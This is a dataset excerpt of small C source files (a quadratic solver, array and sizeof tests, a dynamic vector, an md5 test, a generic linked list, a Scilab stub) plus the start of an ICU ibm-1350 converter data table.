file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
|---|---|
the_stack_data/136137.c | /**********
* ZUCC Cprograming task
* Author: Takuron@github
**********/
#include <stdio.h>
#include <math.h>
int main () {
int a,b,c;
scanf("%d",&a);
scanf("%d",&b);
scanf("%d",&c);
float x1 = (0-b+sqrt(b*b-4*a*c))/(2*a);
float x2 = (0-b-sqrt(b*b-4*a*c))/(2*a);
printf("%.2f %.2f",x1,x2);
return 0;
}
|
the_stack_data/111671.c |
int
foo(int x[100])
{
int y[100];
int *p;
y[0] = 2000;
if(x[0] != 1000)
{
return 1;
}
p = x;
if(p[0] != 1000)
{
return 2;
}
p = y;
if(p[0] != 2000)
{
return 3;
}
if(sizeof(x) != sizeof(void*))
{
return 4;
}
if(sizeof(y) <= sizeof(x))
{
return 5;
}
return 0;
}
int
main()
{
int x[100];
x[0] = 1000;
return foo(x);
}
|
the_stack_data/14200726.c | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define TAM 1000
typedef struct dadosVD {
int tam;
int ocupacao;
void**vetor;
} TdadosVD;
TdadosVD *criarVD() {
TdadosVD *vd = malloc(sizeof(TdadosVD));
vd->tam = 0;
vd->ocupacao = 0;
vd->vetor = malloc(sizeof(void*) *vd->tam);
return vd;
}
void* acessarVD(TdadosVD *vd, int pos) {
void* carga = NULL;
if(pos <= vd->tam && pos >= 0) {
carga = vd->vetor[pos];
} else {
puts("acesso fora do limite");
exit(0);
}
return carga;
}
void inserirVD(TdadosVD *vd, void* carga, int pos) {
if(pos >= vd->tam) {
vd->tam++;
vd->vetor = realloc(vd->vetor, sizeof(void*)*(vd->tam));
vd->vetor[pos] = carga;
vd->ocupacao++;
}
}
// apenas diminui tam e seta o ponteiro para NULL
void removerVD(TdadosVD *vd, int pos) {
if (pos >= vd->tam) {
vd->tam--;
vd->vetor[pos] = NULL;
/* memmove(&vd->vetor[pos], &vd->vetor[pos +1], vd->tam - pos); */
}
}
void freeVD(TdadosVD *vd) {
free(vd->vetor);
free(vd);
}
int main(){
int inteiro = 100;
char *string = "Nome Qualquer";
TdadosVD *heterogeneo = criarVD();
inserirVD(heterogeneo, &inteiro, 0);
inserirVD(heterogeneo, string, 1);
printf("inteiro: %d e string: %s\n",
*(int*)(acessarVD(heterogeneo,0)), acessarVD(heterogeneo, 1));
free(heterogeneo);
return 0;
}
|
the_stack_data/18048.c | /*
* @build: gcc -o bin/md5 unittest/md5_test.c utils/md5.c -I. -Iutils
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "md5.h"
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: md5 file\n");
printf(" md5 -s string\n");
return -10;
}
unsigned char ch = '1';
char md5[33];
hv_md5_hex(&ch, 1, md5, sizeof(md5));
assert(strcmp(md5, "c4ca4238a0b923820dcc509a6f75849b") == 0);
if (argc == 2) {
const char* filepath = argv[1];
FILE* fp = fopen(filepath, "r");
if (fp == NULL) {
printf("Open file '%s' failed!\n", filepath);
return -20;
}
fseek(fp, 0, SEEK_END);
long filesize = ftell(fp);
// printf("filesize=%ld\n", filesize);
fseek(fp, 0, SEEK_SET);
unsigned char* buf = (unsigned char*)malloc(filesize);
size_t nread = fread(buf, 1, filesize, fp);
assert(nread == filesize);
hv_md5_hex(buf, filesize, md5, sizeof(md5));
}
else if (argc == 3) {
const char* flags = argv[1];
if (flags[0] == '-' && flags[1] == 's') {
hv_md5_hex((unsigned char*)argv[2], strlen(argv[2]), md5, sizeof(md5));
}
else {
printf("Unrecognized flags '%s'\n", flags);
return -40;
}
}
puts(md5);
return 0;
}
|
the_stack_data/71982.c | #include <stdio.h>
#include <stdlib.h>
typedef struct listaGen
{
void* info;
struct listaGen* prox;
}ListaGen;
ListaGen* lgen_insere (ListaGen* head, void* data)
{
ListaGen* n = (ListaGen*) malloc(sizeof(ListaGen));
n->info = data;
n->prox = head;
return n;
}
void lgen_percorre(ListaGen *head, void (*cb)(void*))
{
ListaGen *p;
for (p=head; p!=NULL; p=p->prox)
{
cb(p->info);
}
}
void lgen_busca(ListaGen *head, void (*cb)(void*, void*), void *dado)
{
ListaGen *p;
for (p=head; p!=NULL; p=p->prox)
{
cb(p->info, dado);
}
}
ListaGen* lgen_free(ListaGen *head)
{
ListaGen *aux;
while (head != NULL)
{
aux = head;
head = head->prox;
free(aux->info);
free(aux);
}
return head;
} |
the_stack_data/7950137.c |
#include <stdio.h>
void scilab_rt_champ_d2d2d2i2i0d2_(int in00, int in01, double matrixin0[in00][in01],
int in10, int in11, double matrixin1[in10][in11],
int in20, int in21, double matrixin2[in20][in21],
int in30, int in31, int matrixin3[in30][in31],
int scalarin0,
int in40, int in41, double matrixin4[in40][in41])
{
int i;
int j;
double val0 = 0;
double val1 = 0;
double val2 = 0;
int val3 = 0;
double val4 = 0;
for (i = 0; i < in00; ++i) {
for (j = 0; j < in01; ++j) {
val0 += matrixin0[i][j];
}
}
printf("%f", val0);
for (i = 0; i < in10; ++i) {
for (j = 0; j < in11; ++j) {
val1 += matrixin1[i][j];
}
}
printf("%f", val1);
for (i = 0; i < in20; ++i) {
for (j = 0; j < in21; ++j) {
val2 += matrixin2[i][j];
}
}
printf("%f", val2);
for (i = 0; i < in30; ++i) {
for (j = 0; j < in31; ++j) {
val3 += matrixin3[i][j];
}
}
printf("%d", val3);
printf("%d", scalarin0);
for (i = 0; i < in40; ++i) {
for (j = 0; j < in41; ++j) {
val4 += matrixin4[i][j];
}
}
printf("%f", val4);
}
|
the_stack_data/151705605.c | #ifndef IN_GENERATED_CCODE
#define IN_GENERATED_CCODE
#define U_DISABLE_RENAMING 1
#include "unicode/umachine.h"
#endif
U_CDECL_BEGIN
const struct {
double bogus;
uint8_t bytes[93920];
} icudt57l_ibm_1350_P110_1997_cnv={ 0.0, {
128,0,218,39,20,0,0,0,0,0,2,0,99,110,118,116,
6,2,0,0,57,1,0,0,32,67,111,112,121,114,105,103,
104,116,32,40,67,41,32,50,48,49,54,44,32,73,110,116,
101,114,110,97,116,105,111,110,97,108,32,66,117,115,105,110,
101,115,115,32,77,97,99,104,105,110,101,115,32,67,111,114,
112,111,114,97,116,105,111,110,32,97,110,100,32,111,116,104,
101,114,115,46,32,65,108,108,32,82,105,103,104,116,115,32,
82,101,115,101,114,118,101,100,46,32,0,0,0,0,0,0,
100,0,0,0,105,98,109,45,49,51,53,48,95,80,49,49,
48,45,49,57,57,55,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
70,5,0,0,0,2,1,3,244,254,0,0,2,0,0,0,
26,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,4,4,215,0,5,0,0,0,0,0,0,0,
32,20,0,0,112,148,0,0,48,176,0,0,8,48,102,1,
64,175,0,0,0,0,0,128,1,0,0,128,2,0,0,128,
3,0,0,128,4,0,0,128,5,0,0,128,6,0,0,128,
7,0,0,128,8,0,0,128,9,0,0,128,10,0,0,128,
11,0,0,128,12,0,0,128,13,0,0,128,14,0,0,128,
15,0,0,128,16,0,0,128,17,0,0,128,18,0,0,128,
19,0,0,128,20,0,0,128,21,0,0,128,22,0,0,128,
23,0,0,128,24,0,0,128,25,0,0,128,26,0,0,128,
27,0,0,128,28,0,0,128,29,0,0,128,30,0,0,128,
31,0,0,128,32,0,0,128,33,0,0,128,34,0,0,128,
35,0,0,128,36,0,0,128,37,0,0,128,38,0,0,128,
39,0,0,128,40,0,0,128,41,0,0,128,42,0,0,128,
43,0,0,128,44,0,0,128,45,0,0,128,46,0,0,128,
47,0,0,128,48,0,0,128,49,0,0,128,50,0,0,128,
51,0,0,128,52,0,0,128,53,0,0,128,54,0,0,128,
55,0,0,128,56,0,0,128,57,0,0,128,58,0,0,128,
59,0,0,128,60,0,0,128,61,0,0,128,62,0,0,128,
63,0,0,128,64,0,0,128,65,0,0,128,66,0,0,128,
67,0,0,128,68,0,0,128,69,0,0,128,70,0,0,128,
71,0,0,128,72,0,0,128,73,0,0,128,74,0,0,128,
75,0,0,128,76,0,0,128,77,0,0,128,78,0,0,128,
79,0,0,128,80,0,0,128,81,0,0,128,82,0,0,128,
83,0,0,128,84,0,0,128,85,0,0,128,86,0,0,128,
87,0,0,128,88,0,0,128,89,0,0,128,90,0,0,128,
91,0,0,128,92,0,0,128,93,0,0,128,94,0,0,128,
95,0,0,128,96,0,0,128,97,0,0,128,98,0,0,128,
99,0,0,128,100,0,0,128,101,0,0,128,102,0,0,128,
103,0,0,128,104,0,0,128,105,0,0,128,106,0,0,128,
107,0,0,128,108,0,0,128,109,0,0,128,110,0,0,128,
111,0,0,128,112,0,0,128,113,0,0,128,114,0,0,128,
115,0,0,128,116,0,0,128,117,0,0,128,118,0,0,128,
119,0,0,128,120,0,0,128,121,0,0,128,122,0,0,128,
123,0,0,128,124,0,0,128,125,0,0,128,126,0,0,128,
127,0,0,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,0,0,0,2,
68,0,0,3,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,255,255,112,128,164,29,0,1,2,30,0,1,
96,30,0,1,190,30,0,1,28,31,0,1,122,31,0,1,
216,31,0,1,54,32,0,1,148,32,0,1,242,32,0,1,
80,33,0,1,174,33,0,1,12,34,0,1,106,34,0,1,
200,34,0,1,38,35,0,1,132,35,0,1,226,35,0,1,
64,36,0,1,158,36,0,1,252,36,0,1,90,37,0,1,
184,37,0,1,22,38,0,1,116,38,0,1,210,38,0,1,
48,39,0,1,142,39,0,1,236,39,0,1,74,40,0,1,
168,40,0,1,6,41,0,1,100,41,0,1,194,41,0,1,
32,42,0,1,126,42,0,1,220,42,0,1,58,43,0,1,
152,43,0,1,246,43,0,1,84,44,0,1,178,44,0,1,
16,45,0,1,110,45,0,1,204,45,0,1,42,46,0,1,
136,46,0,1,230,46,0,1,68,47,0,1,162,47,0,1,
0,48,0,1,94,48,0,1,188,48,0,1,26,49,0,1,
120,49,0,1,214,49,0,1,52,50,0,1,146,50,0,1,
240,50,0,1,78,51,0,1,172,51,0,1,10,52,0,1,
104,52,0,1,198,52,0,1,36,53,0,1,130,53,0,1,
224,53,0,1,62,54,0,1,156,54,0,1,250,54,0,1,
88,55,0,1,182,55,0,1,20,56,0,1,114,56,0,1,
208,56,0,1,46,57,0,1,140,57,0,1,234,57,0,1,
72,58,0,1,166,58,0,1,4,59,0,1,98,59,0,1,
192,59,0,1,30,60,0,1,124,60,0,1,218,60,0,1,
56,61,0,1,150,61,0,1,244,61,0,1,82,62,0,1,
176,62,0,1,14,63,0,1,108,63,0,1,202,63,0,1,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,0,0,64,128,1,0,64,128,
2,0,64,128,3,0,64,128,4,0,64,128,5,0,64,128,
6,0,64,128,7,0,64,128,8,0,64,128,9,0,64,128,
10,0,64,128,11,0,64,128,12,0,64,128,13,0,64,128,
14,0,64,128,15,0,64,128,16,0,64,128,17,0,64,128,
18,0,64,128,19,0,64,128,20,0,64,128,21,0,64,128,
22,0,64,128,23,0,64,128,24,0,64,128,25,0,64,128,
26,0,64,128,27,0,64,128,28,0,64,128,29,0,64,128,
30,0,64,128,31,0,64,128,32,0,64,128,33,0,64,128,
34,0,64,128,35,0,64,128,36,0,64,128,37,0,64,128,
38,0,64,128,39,0,64,128,40,0,64,128,41,0,64,128,
42,0,64,128,43,0,64,128,44,0,64,128,45,0,64,128,
46,0,64,128,47,0,64,128,48,0,64,128,49,0,64,128,
50,0,64,128,51,0,64,128,52,0,64,128,53,0,64,128,
54,0,64,128,55,0,64,128,56,0,64,128,57,0,64,128,
58,0,64,128,59,0,64,128,60,0,64,128,61,0,64,128,
62,0,64,128,63,0,64,128,64,0,64,128,65,0,64,128,
66,0,64,128,67,0,64,128,68,0,64,128,69,0,64,128,
70,0,64,128,71,0,64,128,72,0,64,128,73,0,64,128,
74,0,64,128,75,0,64,128,76,0,64,128,77,0,64,128,
78,0,64,128,79,0,64,128,80,0,64,128,81,0,64,128,
82,0,64,128,83,0,64,128,84,0,64,128,85,0,64,128,
86,0,64,128,87,0,64,128,88,0,64,128,89,0,64,128,
90,0,64,128,91,0,64,128,92,0,64,128,93,0,64,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,0,0,64,128,1,0,64,128,
2,0,64,128,3,0,64,128,4,0,64,128,5,0,64,128,
6,0,64,128,7,0,64,128,8,0,64,128,9,0,64,128,
10,0,64,128,11,0,64,128,12,0,64,128,13,0,64,128,
14,0,64,128,15,0,64,128,16,0,64,128,17,0,64,128,
18,0,64,128,19,0,64,128,20,0,64,128,21,0,64,128,
22,0,64,128,23,0,64,128,24,0,64,128,25,0,64,128,
26,0,64,128,27,0,64,128,28,0,64,128,29,0,64,128,
30,0,64,128,31,0,64,128,32,0,64,128,33,0,64,128,
34,0,64,128,35,0,64,128,36,0,64,128,37,0,64,128,
38,0,64,128,39,0,64,128,40,0,64,128,41,0,64,128,
42,0,64,128,43,0,64,128,44,0,64,128,45,0,64,128,
46,0,64,128,47,0,64,128,48,0,64,128,49,0,64,128,
50,0,64,128,51,0,64,128,52,0,64,128,53,0,64,128,
54,0,64,128,55,0,64,128,56,0,64,128,57,0,64,128,
58,0,64,128,59,0,64,128,60,0,64,128,61,0,64,128,
62,0,64,128,63,0,64,128,64,0,64,128,65,0,64,128,
66,0,64,128,67,0,64,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,0,0,0,4,0,0,0,1,
94,0,0,4,94,0,0,4,94,0,0,4,94,0,0,1,
188,0,0,1,26,1,0,4,26,1,0,1,120,1,0,1,
214,1,0,1,52,2,0,4,52,2,0,4,52,2,0,4,
52,2,0,4,52,2,0,1,146,2,0,1,240,2,0,1,
78,3,0,1,172,3,0,1,10,4,0,1,104,4,0,1,
198,4,0,1,36,5,0,1,130,5,0,1,224,5,0,1,
62,6,0,1,156,6,0,1,250,6,0,1,88,7,0,1,
182,7,0,1,20,8,0,1,114,8,0,1,208,8,0,1,
46,9,0,1,140,9,0,1,234,9,0,1,72,10,0,1,
166,10,0,1,4,11,0,1,98,11,0,1,192,11,0,1,
30,12,0,1,124,12,0,1,218,12,0,1,56,13,0,1,
150,13,0,1,244,13,0,1,82,14,0,1,176,14,0,1,
14,15,0,1,108,15,0,1,202,15,0,1,40,16,0,1,
134,16,0,1,228,16,0,1,66,17,0,1,160,17,0,1,
254,17,0,1,92,18,0,1,186,18,0,1,24,19,0,1,
118,19,0,1,212,19,0,1,50,20,0,1,144,20,0,1,
238,20,0,1,76,21,0,1,170,21,0,1,8,22,0,1,
102,22,0,1,196,22,0,1,34,23,0,1,128,23,0,1,
222,23,0,1,60,24,0,1,154,24,0,1,248,24,0,4,
248,24,0,4,248,24,0,4,248,24,0,4,248,24,0,4,
248,24,0,1,86,25,0,1,180,25,0,1,18,26,0,1,
112,26,0,1,206,26,0,1,44,27,0,1,138,27,0,1,
232,27,0,1,70,28,0,1,164,28,0,1,2,29,0,1,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,255,255,112,128,255,255,112,128,
255,255,112,128,255,255,112,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
254,255,96,128,254,255,96,128,254,255,96,128,254,255,96,128,
255,255,112,128,97,255,98,255,99,255,100,255,101,255,102,255,
103,255,104,255,105,255,106,255,107,255,108,255,109,255,110,255,
111,255,112,255,113,255,114,255,115,255,116,255,117,255,118,255,
119,255,120,255,121,255,122,255,123,255,124,255,125,255,126,255,
127,255,128,255,129,255,130,255,131,255,132,255,133,255,134,255,
135,255,136,255,137,255,138,255,139,255,140,255,141,255,142,255,
143,255,144,255,145,255,146,255,147,255,148,255,149,255,150,255,
151,255,152,255,153,255,154,255,155,255,156,255,157,255,158,255,
159,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,216,2,199,2,184,0,217,2,
221,2,175,0,219,2,218,2,94,255,132,3,133,3,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,161,0,
166,0,191,0,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
186,0,170,0,169,0,174,0,34,33,164,0,22,33,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,134,3,136,3,137,3,138,3,
